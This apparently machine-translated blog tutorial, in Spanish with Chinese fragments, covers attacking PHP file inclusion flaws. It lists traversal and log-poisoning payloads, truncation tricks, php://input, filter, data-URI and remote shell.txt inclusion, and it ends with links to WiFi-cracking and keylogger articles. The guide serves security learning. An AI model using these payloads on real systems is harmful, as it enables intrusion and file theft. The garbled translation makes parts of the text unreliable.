[Pruebas de penetración] - Cómo usar el método de inclusión de archivos para atacar

contenido

4.9 Inclusiones de archivos

4.9.1 Conceptos básicos

4.9.2 Sumidero de activación

4.9.3 Técnicas de derivación

4.9.3.1 Omisión de codificación de URL

4.9.3.2 Omisión de caracteres especiales

4.9.3.3 %00 truncamiento

4.9.3.4 Truncamiento de longitud

4.9.3.5 Omisión de protocolo falso

4.9.3.6 Omisión de protocolo


4.9 Inclusiones de archivos

4.9.1 Conceptos básicos

Los archivos comunes contienen vulnerabilidades en forma de<?php include("inc/" . $_GET['file']); ?>

Considere varios métodos de inclusión de uso común como

  • El mismo directorio contienefile=.htaccess
  • recorrido del directorio?file=../../../../../../../../../var/lib/locate.db
  • inyección de registro?file=../../../../../../../../../var/log/apache/error.log
  • utilizar/proc/self/environ

Los registros se pueden probar utilizando varias fuentes de registro, como registros SSH o registros web.

4.9.2 Sumidero de activación

PHP

    include
        在包含过程中出错会报错,不影响执行后续语句

    include_once
        仅包含一次

    require
        在包含过程中出错,就会直接退出,不执行后续语句
    require_once

4.9.3 Técnicas de derivación

Las aplicaciones comunes pueden llamar a una función para juzgar el archivo antes de que se incluya. Generalmente, existen varios métodos de omisión como los siguientes:

4.9.3.1 Omisión de codificación de URL

Si hay una coincidencia de cadena en el WAF, puede usar el método de codificación de URL para omitir el

4.9.3.2 Omisión de caracteres especiales

  • 某些情况下,读文件支持使用Shell通配符,如 ? * 等
    url中 使用 ? # 可能会影响include包含的结果
    某些情况下,unicode编码不同但是字形相近的字符有同一个效果

4.9.3.3 %00 truncamiento

Casi el método más común, siempre que esté magic_quotes_gpccerrado y la versión de php sea inferior a 5.3.4.

4.9.3.4 Truncamiento de longitud

La longitud del nombre de archivo en Windows está relacionada con la ruta del archivo. La relación específica es: Calculada desde el directorio raíz, la longitud máxima de la ruta del archivo es de 259 bytes.

definición de msdn #define MAX_PATH 260, el carácter 260 es el final de la cadena \0, y Linux puede usar getconf para determinar el límite de longitud del nombre del archivo y el límite de longitud de la ruta del archivo.

Obtenga la longitud de ruta de archivo más larga: getconf PATH_MAX /root get 4096 Obtenga el nombre de archivo más largo: getconf NAME_MAX /root get 255

Luego, cuando la longitud es limitada, la ././././forma (n) puede explotar el camino a través de este

En el código php incluye, este bypass requiere una versión de php < php 5.2.8

4.9.3.5 Omisión de protocolo falso

远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , 
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式

PHP input: 把payload放在POST参数中作为包含的文件,
要求 allow_url_include=On ,payload为 ?file=php://input 的形式

Base64: 使用Base64伪协议读取文件,
payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式

data: 使用data伪协议读取文件,
payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,
要求 allow_url_include=On

4.9.3.6 Omisión de protocolo

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

 Lectura recomendada

[Python Combat] Boda de ex novia, Python descifró el WIFI en el sitio de la boda y cambió el nombre a

[combate de python] El "520 happy.pdf" encriptado enviado por mi ex novia, después de descifrarlo con python, descubrí que

[python combat] python you TM es demasiado delgado: solo 30 líneas de código pueden registrar cada movimiento del teclado

[ python combat] Olvidé la contraseña del álbum de la diosa, solo escribí 20 líneas de código en Python~~~

serie de artículos de pygame

Aprendamos pygame juntos, 30 casos de desarrollo de juegos (2) - juego de defensa de la torre

Aprendamos pygame juntos, 30 casos de desarrollo de juegos (4) - Tetris game

Aprendamos pygame juntos, 30 casos de desarrollo de juegos (5) - Juego Xiaoxiaole


26 casos y código fuente del juego pygame [total 400M]_Funciona el juego pygame, código fuente del juego pygame-recursos de documentación de Python-descarga de CSDN


[El "520 Happy.pdf" encriptado enviado por mi ex novia, lo descifré con python] Script completo _ python cómo descifrar la contraseña de pdf - Recurso de documentación de Python - Descarga de CSDN


La novia todavía está en línea después de buenas noches: el novio de Python escribió un dispositivo con 20 líneas de código - Se busca programador


Script de código completo de ubicación precisa de foto de posicionamiento de Python - Recurso de documentación de Python - Descarga de CSDN

Herramientas relacionadas con pruebas de penetración

Herramienta Brutecrack [WIFIPR versión en chino] y diccionario wpa/wpa2 - otros recursos de documentos - descarga CSDN


[Herramientas comunes de Kali] software de prueba de señal de información privilegiada_herramientas comunes de kali_recursos de documentación del software de administración de red inSSIDer - La
descarga Explicación y combate real - recursos de documentos de monitoreo de red - descarga de CSDN
  

Supongo que te gusta

Origin blog.csdn.net/weixin_42350212/article/details/123036602
Recomendado
Clasificación